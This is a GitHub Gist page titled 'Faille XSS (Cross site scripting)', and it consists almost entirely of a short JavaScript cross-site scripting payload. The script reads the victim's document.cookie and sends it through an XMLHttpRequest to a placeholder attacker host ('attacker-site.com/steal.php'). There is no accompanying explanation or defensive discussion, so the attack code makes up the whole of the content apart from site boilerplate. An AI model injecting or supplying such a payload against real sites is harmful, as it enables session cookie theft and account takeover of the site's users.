Created
March 14, 2023 14:08
-
-
Save thierrypigot/80e96c9c6f1ad6cd5dfbb06811dd27c1 to your computer and use it in GitHub Desktop.
Faille XSS (Cross site scripting)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
var cookies = document.cookie; | |
var xhr = new XMLHttpRequest(); | |
xhr.open("GET", "http://www.attacker-site.com/steal.php?cookies=" + cookies, true); | |
xhr.send(); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment